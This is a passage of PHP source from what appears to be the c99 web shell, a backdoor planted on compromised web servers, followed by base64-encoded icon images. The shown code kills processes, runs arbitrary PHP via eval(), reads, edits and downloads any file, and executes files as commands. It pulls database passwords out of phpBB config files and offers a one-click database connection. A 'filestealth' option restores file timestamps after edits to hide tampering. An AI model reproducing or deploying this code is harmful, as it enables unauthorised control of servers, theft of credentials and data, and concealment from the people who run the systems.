  2504. if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
  2505. else { $handler = "tasklist"; }
  2506. $ret = myshellexec($handler);
  2507. if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
  2508. else {
  2509. if (empty($processes_sort)) {$processes_sort = $sort_default;}
  2510. $parsesort = parsesort($processes_sort);
  2511. if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  2512. $k = $parsesort[0];
  2513. if ($parsesort[1] != "a") {
  2514. $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
  2515. }
  2516. else {
  2517. $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
  2518. }
  2519. $ret = htmlspecialchars($ret);
  2520. if (!$win) {
  2521. if ($pid) {
  2522. if (is_null($sig)) {$sig = 9;}
  2523. echo "Sending signal ".$sig." to #".$pid."... ";
  2524. if (posix_kill($pid,$sig)) {echo "OK.";}
  2525. else {echo "ERROR.";}
  2526. }
  2527. while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
  2528. $stack = explode("\n",$ret);
  2529. $head = explode(" ",$stack[0]);
  2530. unset($stack[0]);
  2531. for($i=0;$i<count($head);$i++) {
  2532. if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  2533. }
  2534. $prcs = array();
  2535. foreach ($stack as $line) {
  2536. if (!empty($line)) {
  2537. echo "<tr>";
  2538. $line = explode(" ",$line);
  2539. $line[10] = join(" ",array_slice($line,10));
  2540. $line = array_slice($line,0,11);
  2541. if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  2542. $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2543. $prcs[] = $line;
  2544. echo "</tr>";
  2545. }
  2546. }
  2547. }
  2548.  
  2549. else {
  2550. while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
  2551. while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
  2552. $ret = convert_cyr_string($ret,"d","w");
  2553. $stack = explode("\n",$ret);
  2554. unset($stack[0],$stack[2]);
  2555. $stack = array_values($stack);
  2556. $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
  2557. $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
  2558. $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
  2559. $head = explode(" ",$stack[0]);
  2560. $stack = array_slice($stack,1);
  2561. $head = array_values($head);
  2562. if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
  2563. else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
  2564. if ($k > count($head)) {$k = count($head)-1;}
  2565. for($i=0;$i<count($head);$i++) {
  2566. if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
  2567. }
  2568. $prcs = array();
  2569. unset($stack[0]);
  2570. foreach ($stack as $line) {
  2571. if (!empty($line)) {
  2572. $line = explode(" ",$line);
  2573. $line[4] = str_replace(".","",$line[4]);
  2574. $line[4] = intval($line[4]) * 1024;
  2575. unset($line[5]);
  2576. $prcs[] = $line;
  2577. }
  2578. }
  2579. }
  2580. $head[$k] = "<b>".$head[$k]."</b>".$y;
  2581. $v = $processes_sort[0];
  2582. usort($prcs,"tabsort");
  2583. if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  2584. $tab = array();
  2585. $tab[] = $head;
  2586. $tab = array_merge($tab,$prcs);
  2587. echo "<table class=explorer>";
  2588. foreach($tab as $i=>$k) {
  2589. echo "<tr>";
  2590. foreach($k as $j=>$v) {
  2591. if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
  2592. echo "<td>".$v."</td>";
  2593. }
  2594. echo "</tr>";
  2595. }
  2596. echo "</table>";
  2597. }
  2598. }
  2599. if ($act == "eval") {
  2600. if (!empty($eval)) {
  2601. echo "Result of execution this PHP-code:<br>";
  2602. $tmp = ob_get_contents();
  2603. $olddir = realpath(".");
  2604. @chdir($d);
  2605. if ($tmp) {
  2606. ob_clean();
  2607. eval($eval);
  2608. $ret = ob_get_contents();
  2609. $ret = convert_cyr_string($ret,"d","w");
  2610. ob_clean();
  2611. echo $tmp;
  2612. if ($eval_txt) {
  2613. $rows = count(explode("\r\n",$ret))+1;
  2614. if ($rows < 10) {$rows = 10;}
  2615. echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2616. }
  2617. else {echo $ret."<br>";}
  2618. }
  2619. else {
  2620. if ($eval_txt) {
  2621. echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  2622. eval($eval);
  2623. echo "</textarea>";
  2624. }
  2625. else {echo $ret;}
  2626. }
  2627. @chdir($olddir);
  2628. }
  2629. else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  2630. echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  2631. }
  2632. if ($act == "f") {
  2633. echo "<div align=left>";
  2634. if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
  2635. if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2636. else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2637. }
  2638. else {
  2639. $r = @file_get_contents($d.$f);
  2640. $ext = explode(".",$f);
  2641. $c = count($ext)-1;
  2642. $ext = $ext[$c];
  2643. $ext = strtolower($ext);
  2644. $rft = "";
  2645. foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2646. if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2647. if (empty($ft)) {$ft = $rft;}
  2648. $arr = array(
  2649. array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  2650. array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2651. array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2652. array("Code","code"),
  2653. array("Session","phpsess"),
  2654. array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2655. array("SDB","sdb"),
  2656. array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2657. array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2658. array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2659. array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2660. array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2661. );
  2662. echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2663. foreach($arr as $t) {
  2664. if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2665. elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2666. else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2667. echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2668. }
  2669. echo "<hr size=\"1\" noshade>";
  2670. if ($ft == "info") {
  2671. echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2672. if (!$win) {
  2673. echo "<tr><td><b>Owner/Group</b></td><td> ";
  2674. $ow = posix_getpwuid(fileowner($d.$f));
  2675. $gr = posix_getgrgid(filegroup($d.$f));
  2676. echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2677. }
  2678. echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
  2679. $fi = fopen($d.$f,"rb");
  2680. if ($fi) {
  2681. if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2682. else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2683. $n = 0;
  2684. $a0 = "00000000<br>";
  2685. $a1 = "";
  2686. $a2 = "";
  2687. for ($i=0; $i<strlen($str); $i++) {
  2688. $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2689. switch (ord($str[$i])) {
  2690. case 0: $a2 .= "<font>0</font>"; break;
  2691. case 32:
  2692. case 10:
  2693. case 13: $a2 .= "&nbsp;"; break;
  2694. default: $a2 .= htmlspecialchars($str[$i]);
  2695. }
  2696. $n++;
  2697. if ($n == $hexdump_rows) {
  2698. $n = 0;
  2699. if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2700. $a1 .= "<br>";
  2701. $a2 .= "<br>";
  2702. }
  2703. }
  2704. echo "<table border=1 bgcolor=#666666>".
  2705. "<tr><td bgcolor=#666666>".$a0."</td>".
  2706. "<td bgcolor=#000000>".$a1."</td>".
  2707. "<td bgcolor=#000000>".$a2."</td>".
  2708. "</tr></table><br>";
  2709. }
  2710. $encoded = "";
  2711. if ($base64 == 1) {
  2712. echo "<b>Base64 Encode</b><br>";
  2713. $encoded = base64_encode(file_get_contents($d.$f));
  2714. }
  2715. elseif($base64 == 2) {
  2716. echo "<b>Base64 Encode + Chunk</b><br>";
  2717. $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2718. }
  2719. elseif($base64 == 3) {
  2720. echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2721. $encoded = base64_encode(file_get_contents($d.$f));
  2722. $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2723. }
  2724. elseif($base64 == 4) {
  2725. $text = file_get_contents($d.$f);
  2726. $encoded = base64_decode($text);
  2727. echo "<b>Base64 Decode";
  2728. if (base64_encode($encoded) != $text) {echo " (failed)";}
  2729. echo "</b><br>";
  2730. }
  2731. if (!empty($encoded))
  2732. {
  2733. echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2734. }
  2735. echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2736. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2737. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2738. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2739. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2740. <P>";
  2741. }
  2742. elseif ($ft == "html") {
  2743. if ($white) {@ob_clean();}
  2744. echo $r;
  2745. if ($white) {c99shexit();}
  2746. }
  2747. elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2748. elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2749. elseif ($ft == "phpsess") {
  2750. echo "<pre>";
  2751. $v = explode("|",$r);
  2752. echo $v[0]."<br>";
  2753. var_dump(unserialize($v[1]));
  2754. echo "</pre>";
  2755. }
  2756. elseif ($ft == "exe") {
  2757. $ext = explode(".",$f);
  2758. $c = count($ext)-1;
  2759. $ext = $ext[$c];
  2760. $ext = strtolower($ext);
  2761. $rft = "";
  2762. foreach($exeftypes as $k=>$v)
  2763. {
  2764. if (in_array($ext,$v)) {$rft = $k; break;}
  2765. }
  2766. $cmd = str_replace("%f%",$f,$rft);
  2767. echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2768. }
  2769. elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2770. elseif ($ft == "code") {
  2771. if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
  2772. $arr = explode("\n",$r);
  2773. if (count($arr == 18)) {
  2774. include($d.$f);
  2775. echo "<b>phpBB configuration is detected in this file!<br>";
  2776. if ($dbms == "mysql4") {$dbms = "mysql";}
  2777. if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2778. else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
  2779. echo "Parameters for manual connect:<br>";
  2780. $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2781. foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2782. echo "</b><hr size=\"1\" noshade>";
  2783. }
  2784. }
  2785. echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2786. if (!empty($white)) {@ob_clean();}
  2787. highlight_file($d.$f);
  2788. if (!empty($white)) {c99shexit();}
  2789. echo "</div>";
  2790. }
  2791. elseif ($ft == "download") {
  2792. @ob_clean();
  2793. header("Content-type: application/octet-stream");
  2794. header("Content-length: ".filesize($d.$f));
  2795. header("Content-disposition: attachment; filename=\"".$f."\";");
  2796. echo $r;
  2797. exit;
  2798. }
  2799. elseif ($ft == "notepad") {
  2800. @ob_clean();
  2801. header("Content-type: text/plain");
  2802. header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2803. echo($r);
  2804. exit;
  2805. }
  2806. elseif ($ft == "img") {
  2807. $inf = getimagesize($d.$f);
  2808. if (!$white) {
  2809. if (empty($imgsize)) {$imgsize = 20;}
  2810. $width = $inf[0]/100*$imgsize;
  2811. $height = $inf[1]/100*$imgsize;
  2812. echo "<center><b>Size:</b>&nbsp;";
  2813. $sizes = array("100","50","20");
  2814. foreach ($sizes as $v) {
  2815. echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2816. if ($imgsize != $v ) {echo $v;}
  2817. else {echo "<u>".$v."</u>";}
  2818. echo "</a>&nbsp;&nbsp;&nbsp;";
  2819. }
  2820. echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2821. }
  2822. else {
  2823. @ob_clean();
  2824. $ext = explode($f,".");
  2825. $ext = $ext[count($ext)-1];
  2826. header("Content-type: ".$inf["mime"]);
  2827. readfile($d.$f);
  2828. exit;
  2829. }
  2830. }
  2831. elseif ($ft == "edit") {
  2832. if (!empty($submit))
  2833. {
  2834. if ($filestealth) {$stat = stat($d.$f);}
  2835. $fp = fopen($d.$f,"w");
  2836. if (!$fp) {echo "<b>Can't write to file!</b>";}
  2837. else
  2838. {
  2839. echo "<b>Saved!</b>";
  2840. fwrite($fp,$edit_text);
  2841. fclose($fp);
  2842. if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2843. $r = $edit_text;
  2844. }
  2845. }
  2846. $rows = count(explode("\r\n",$r));
  2847. if ($rows < 10) {$rows = 10;}
  2848. if ($rows > 30) {$rows = 30;}
  2849. echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2850. }
  2851. elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2852. else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  2853. }
  2854. echo "</div>\n";
  2855. }
  2856. }
  2857. else {
  2858. @ob_clean();
  2859. $images = array(
  2860. "arrow_ltr"=>
  2861. "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2862. "back"=>
  2863. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2864. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2865. "Wg0JADs=",
  2866. "buffer"=>
  2867. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2868. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2869. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2870. "change"=>
  2871. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2872. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2873. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2874. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2875. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2876. "zMshADs=",
  2877. "delete"=>
  2878. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2879. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2880. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2881. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2882. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2883. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2884. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2885. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2886. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2887. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2888. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2889. "download"=>
  2890. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2891. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2892. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2893. "forward"=>
  2894. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2895. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2896. "WqsJADs=",
  2897. "home"=>
  2898. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2899. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2900. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2901. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2902. "mode"=>
  2903. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2904. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2905. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2906. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2907. "search"=>
  2908. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2909. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2910. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2911. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2912. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2913. "setup"=>
  2914. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2915. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2916. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2917. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2918. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2919. "small_dir"=>
  2920. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2921. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2922. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2923. "small_unk"=>
  2924. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2925. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2926. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2927. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  2928. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  2929. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  2930. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  2931. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  2932. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2933. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2934. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2935. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2936. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2937. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2938. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  2939. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  2940. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2941. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2942. "yAsokBkQADs=",
